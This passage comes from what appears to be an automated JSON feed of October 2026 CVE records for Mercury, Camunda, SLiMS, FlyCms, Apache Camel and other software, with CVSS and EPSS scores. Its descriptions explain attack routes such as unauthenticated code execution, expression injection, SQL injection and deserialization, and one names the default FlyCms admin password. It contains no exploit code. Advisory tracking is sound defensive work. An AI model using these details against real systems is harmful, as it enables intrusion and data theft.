CVE-2026-107083","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107083","type":"primary","publishedAt":"2026-10-19T17:17:00.690Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107083&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107083, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111058","cveId":"CVE-2026-111058","aliases":[],"kind":"vulnerability","title":"Mercury is a Python framework for sharing Jupyter notebooks as web applications and dashboards.","summary":"Mercury is a Python framework for sharing Jupyter notebooks as web applications and dashboards. Prior to 3.2.6, default tokenless deployments allow anonymous clients to create Jupyter kernels and send execute_request messages containing arbitrary Python. The endpoint blocklist does not cover /api/kernels, and the websocket wrapper previously tracked idle activity without authorizing executable messages. This issue is fixed in version 3.2.6.","detail":"Mercury is a Python framework for sharing Jupyter notebooks as web applications and dashboards. Prior to 3.2.6, default tokenless deployments allow anonymous clients to create Jupyter kernels and send execute_request messages containing arbitrary Python. The endpoint blocklist does not cover /api/kernels, and the websocket wrapper previously tracked idle activity without authorizing executable messages. This issue is fixed in version 3.2.6.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T16:17:03.957Z","updatedAt":"2026-10-19T21:13:39.973Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111058","asOf":"2026-10-19T21:13:39.973Z"},"epss":{"probability":0.00523,"percentile":0.44085,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111058&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111058","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111058","type":"primary","publishedAt":"2026-10-19T16:17:03.957Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111058&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111058, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111057","cveId":"CVE-2026-111057","aliases":[],"kind":"vulnerability","title":"Mercury is a Python framework for sharing Jupyter notebooks as web applications and dashboards.","summary":"Mercury is a Python framework for sharing Jupyter notebooks as web applications and dashboards. From 3.0.0 until 3.2.4, a missing comma in BLOCKED_PATTERNS concatenates the /lab and /api/terminals regular-expression literals. Requests to /api/terminals therefore bypass the anonymous endpoint blocklist and reach Jupyter Server's terminal API. An unauthenticated attacker can use the resulting interactive operating-system shell to execute commands and access data available to the Mercury process. This issue is fixed in version 3.2.4.","detail":"Mercury is a Python framework for sharing Jupyter notebooks as web applications and dashboards. From 3.0.0 until 3.2.4, a missing comma in BLOCKED_PATTERNS concatenates the /lab and /api/terminals regular-expression literals. Requests to /api/terminals therefore bypass the anonymous endpoint blocklist and reach Jupyter Server's terminal API. An unauthenticated attacker can use the resulting interactive operating-system shell to execute commands and access data available to the Mercury process. This issue is fixed in version 3.2.4.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T16:17:03.810Z","updatedAt":"2026-10-19T21:14:14.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111057","asOf":"2026-10-19T21:14:14.150Z"},"epss":{"probability":0.00443,"percentile":0.38217,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111057&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111057","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111057","type":"primary","publishedAt":"2026-10-19T16:17:03.810Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111057&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111057, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109432","cveId":"CVE-2026-109432","aliases":[],"kind":"vulnerability","title":"Camunda 7.24.0 before 7.24.14 and 7.23.0 before 7.23.17 contains an expression injection vulnerability where AdhocQueryValidator.validate() fails to check sub-query expression...","summary":"Camunda 7.24.0 before 7.24.14 and 7.23.0 before 7.23.17 contains an expression injection vulnerability where AdhocQueryValidator.validate() fails to check sub-query expression maps within the orQueries field exposed by TaskQueryDto, allowing authenticated users to bypass the enableExpressionsInAdhocQueries restriction. Attackers can supply a malicious JUEL expression such as dueAfterExpression inside an orQueries entry to achieve arbitrary Java reflection and invoke java.lang.Runtime.exec, resulting in operating-system command execution as the engine service user.","detail":"Camunda 7.24.0 before 7.24.14 and 7.23.0 before 7.23.17 contains an expression injection vulnerability where AdhocQueryValidator.validate() fails to check sub-query expression maps within the orQueries field exposed by TaskQueryDto, allowing authenticated users to bypass the enableExpressionsInAdhocQueries restriction. Attackers can supply a malicious JUEL expression such as dueAfterExpression inside an orQueries entry to achieve arbitrary Java reflection and invoke java.lang.Runtime.exec, resulting in operating-system command execution as the engine service user.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T16:17:02.487Z","updatedAt":"2026-10-19T21:14:14.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109432","asOf":"2026-10-19T21:14:14.150Z"},"epss":{"probability":0.00558,"percentile":0.46218,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109432&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109432","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109432","type":"primary","publishedAt":"2026-10-19T16:17:02.487Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109432&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109432, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107081","cveId":"CVE-2026-107081","aliases":[],"kind":"vulnerability","title":"SQL injection via identifier injection in the tableName and tableFields POST parameters of admin AJAX endpoints (admin/AJAX_lookup_handler.php, admin/AJAX_check_id.php,...","summary":"SQL injection via identifier injection in the tableName and tableFields POST parameters of admin AJAX endpoints (admin/AJAX_lookup_handler.php, admin/AJAX_check_id.php, admin/AJAX_vocabolary_control.php) in SENAYAN Library Management System (SLiMS) Bulian 9.8.0 allows any authenticated staff user to extract arbitrary database contents.","detail":"SQL injection via identifier injection in the tableName and tableFields POST parameters of admin AJAX endpoints (admin/AJAX_lookup_handler.php, admin/AJAX_check_id.php, admin/AJAX_vocabolary_control.php) in SENAYAN Library Management System (SLiMS) Bulian 9.8.0 allows any authenticated staff user to extract arbitrary database contents.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T16:17:01.347Z","updatedAt":"2026-10-22T03:16:31.083Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107081","asOf":"2026-10-22T03:16:31.083Z"},"epss":{"probability":0.00487,"percentile":0.41619,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107081&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107081","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107081","type":"primary","publishedAt":"2026-10-19T16:17:01.347Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107081&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107081, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112296","cveId":"CVE-2026-112296","aliases":[],"kind":"vulnerability","title":"FlyCms through commit edfdf724 contains a default credentials vulnerability that allows unauthenticated remote attackers to gain super administrator access via the flycms account...","summary":"FlyCms through commit edfdf724 contains a default credentials vulnerability that allows unauthenticated remote attackers to gain super administrator access via the flycms account with password admin123. Attackers can log in through POST /api/auth/login, solving only the image captcha, to obtain full control of site content, users and configuration.","detail":"FlyCms through commit edfdf724 contains a default credentials vulnerability that allows unauthenticated remote attackers to gain super administrator access via the flycms account with password admin123. Attackers can log in through POST /api/auth/login, solving only the image captcha, to obtain full control of site content, users and configuration.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T14:17:08.510Z","updatedAt":"2026-10-19T21:14:14.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112296","asOf":"2026-10-19T21:14:14.150Z"},"epss":{"probability":0.00418,"percentile":0.35855,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112296&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112296","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112296","type":"primary","publishedAt":"2026-10-19T14:17:08.510Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112296&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112296, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112292","cveId":"CVE-2026-112292","aliases":[],"kind":"vulnerability","title":"CheckCle through 1.6.0 contains a missing authorization vulnerability that allows unauthenticated attackers to read, modify and delete records because shipped PocketBase...","summary":"CheckCle through 1.6.0 contains a missing authorization vulnerability that allows unauthenticated attackers to read, modify and delete records because shipped PocketBase collections use empty API rules. Attackers can query /api/collections/<name>/records endpoints to steal server_token values and alert_configurations secrets, disable alerting, alter status pages, or delete monitoring data.","detail":"CheckCle through 1.6.0 contains a missing authorization vulnerability that allows unauthenticated attackers to read, modify and delete records because shipped PocketBase collections use empty API rules. Attackers can query /api/collections/<name>/records endpoints to steal server_token values and alert_configurations secrets, disable alerting, alter status pages, or delete monitoring data.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T14:17:07.903Z","updatedAt":"2026-10-19T21:14:14.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112292","asOf":"2026-10-19T21:14:14.150Z"},"epss":{"probability":0.00347,"percentile":0.28029,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112292&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112292","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112292","type":"primary","publishedAt":"2026-10-19T14:17:07.903Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112292&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112292, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-78162","cveId":"CVE-2026-78162","aliases":[],"kind":"vulnerability","title":"Deserialization of Untrusted Data vulnerability in Apache Camel.","summary":"Deserialization of Untrusted Data vulnerability in Apache Camel.\n\n\n\nThis issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.\n\n\n\nThe camel-hazelcast component applies a default Hazelcast JavaSerializationFilterConfig to the instances it creates from its own configuration, a protection introduced by CVE-2026-43865. That change did not reach two of the configuration paths Camel builds itself, so those paths continued to create Hazelcast instances whose Java deserialization is unrestricted. ReplicatedHazelcastAggregationRepository extends HazelcastAggregationRepository but overrides doStart() without calling super.doStart(), keeping its own copy of the bootstrap block, and therefore never received the filter: a route using it without supplying a hazelcastInstance starts a Hazelcast member that deserializes values read from the backing ReplicatedMap with no class restriction. HazelcastDefaultComponent#getOrCreateHzClientInstance() builds its own ClientConfig when hazelcastMode=client is selected and neither a referenced ClientConfig nor hazelcastConfigUri is supplied, and likewise applied no filter, so client-mode endpoints behaved differently from node-mode endpoints for an otherwise identical configuration. In both cases an attacker able to publish into the Hazelcast cluster that the affected instance is attached to can cause a serialized Java object of their choosing to be deserialized inside Hazelcast's own serialization layer, before Camel processes the exchange, resulting in remote code execution. Hazelcast clusters have neither authentication nor TLS enabled by default. Selecting client mode is a topology choice rather than a security option, so neither path required the deployment to opt in to unsafe behaviour.\n\n\n\nUsers are recommended to upgrade to version 4.23.0, which fixes the issue. If users are on the 4.22.x releases stream, then they are suggested to upgrade to 4.22.1. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.5. The 4.14.x releases stream and earlier reached end of life before this issue was resolved and will not receive a fix, so deployments on those lines must move to a suppor","detail":"Deserialization of Untrusted Data vulnerability in Apache Camel.\n\n\n\nThis issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.\n\n\n\nThe camel-hazelcast component applies a default Hazelcast JavaSerializationFilterConfig to the instances it creates from its own configuration, a protection introduced by CVE-2026-43865. That change did not reach two of the configuration paths Camel builds itself, so those paths continued to create Hazelcast instances whose Java deserialization is unrestricted. ReplicatedHazelcastAggregationRepository extends HazelcastAggregationRepository but overrides doStart() without calling super.doStart(), keeping its own copy of the bootstrap block, and therefore never received the filter: a route using it without supplying a hazelcastInstance starts a Hazelcast member that deserializes values read from the backing ReplicatedMap with no class restriction. HazelcastDefaultComponent#getOrCreateHzClientInstance() builds its own ClientConfig when hazelcastMode=client is selected and neither a referenced ClientConfig nor hazelcastConfigUri is supplied, and likewise applied no filter, so client-mode endpoints behaved differently from node-mode endpoints for an otherwise identical configuration. In both cases an attacker able to publish into the Hazelcast cluster that the affected instance is attached to can cause a serialized Java object of their choosing to be deserialized inside Hazelcast's own serialization layer, before Camel processes the exchange, resulting in remote code execution. Hazelcast clusters have neither authentication nor TLS enabled by default. Selecting client mode is a topology choice rather than a security option, so neither path required the deployment to opt in to unsafe behaviour.\n\n\n\nUsers are recommended to upgrade to version 4.23.0, which fixes the issue. If users are on the 4.22.x releases stream, then they are suggested to upgrade to 4.22.1. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.5. The 4.14.x releases stream and earlier reached end of life before this issue was resolved and will not receive a fix, so deployments on those lines must move to a supported release. For deployments that cannot upgrade immediately, supply an explicit Hazelcast configuration carrying a JavaSerializationFilterConfig, or inject a pre-built HazelcastInstance, since a user-supplied configuration is never overwritten by Camel. Alternatively set the JVM-wide filter -Djdk.serialFilter=!java.net.;java.;javax.;org.apache.camel.;!* and enable Hazelcast cluster authentication and TLS to restrict who can reach the cluster.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T11:17:19.037Z","updatedAt":"2026-10-20T04:17:02.327Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-78162","asOf":"2026-10-20T04:17:02.327Z"},"epss":{"probability":0.00918,"percentile":0.59984,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-78162&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-78162","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78162","type":"primary","publishedAt":"2026-10-19T11:17:19.037Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-78162&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-78162, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-71253","cveId":"CVE-2026-71253","aliases":[],"kind":"vulnerability","title":"Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') vulnerability in Apache Johnzon.","summary":"Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') vulnerability in Apache Johnzon.\n\n\n\nClassConverter loads & static-initializes an attacker-named class from untrusted JSON.\n\n\n\n\nThis issue affects Apache Johnzon: from 1.0.0 before 2.2.0.\n\n\n\nUsers are recommended to upgrade to version 1.3.1 (javax namespace) or 2.2.0 (jakarta specification namespace), which fixes the issue.","detail":"Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') vulnerability in Apache Johnzon.\n\n\n\nClassConverter loads & static-initializes an attacker-named class from untrusted JSON.\n\n\n\n\nThis issue affects Apache Johnzon: from 1.0.0 before 2.2.0.\n\n\n\nUsers are recommended to upgrade to version 1.3.1 (javax namespace) or 2.2.0 (jakarta specification namespace), which fixes the issue.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T11:17:18.540Z","updatedAt":"2026-10-20T20:17:24.763Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-71253","asOf":"2026-10-20T20:17:24.763Z"},"epss":{"probability":0.0038,"percentile":0.31698,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-71253&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-71253","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-71253","type":"primary","publishedAt":"2026-10-19T11:17:18.540Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-71253&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-71253, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-90910","cveId":"CVE-2026-90910","aliases":[],"kind":"vulnerability","title":"Missing authentication for critical function vulnerability in Apache Answer.","summary":"Missing authentication for critical function vulnerability in Apache Answer.\n\n\n\nThis issue affects Apache Answer: through 2.0.2.\n\n\n\nThe reaction API did not enforce content visibility controls, allowing unauthorized users to read reaction metadata from restricted content or add and remove their own reactions.\n\n\n\nUsers are recommended to upgrade to version 2.0.3, which fixes the issue.","detail":"Missing authentication for critical function vulnerability in Apache Answer.\n\n\n\nThis issue affects Apache Answer: through 2.0.2.\n\n\n\nThe reaction API did not enforce content visibility controls, allowing unauthorized users to read reaction metadata from restricted content or add and remove their own reactions.\n\n\n\nUsers are recommended to upgrade to version 2.0.3, which fixes the issue.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T10:16:49.897Z","updatedAt":"2026-10-19T20:45:51.597Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-90910","asOf":"2026-10-19T20:45:51.597Z"},"epss":{"probability":0.00479,"percentile":0.41085,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-90910&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-90910","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-90910","type":"primary","publishedAt":"2026-10-19T10:16:49.897Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-90910&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-90910, scored 2026-10-25. This is a model estimate, not proof of 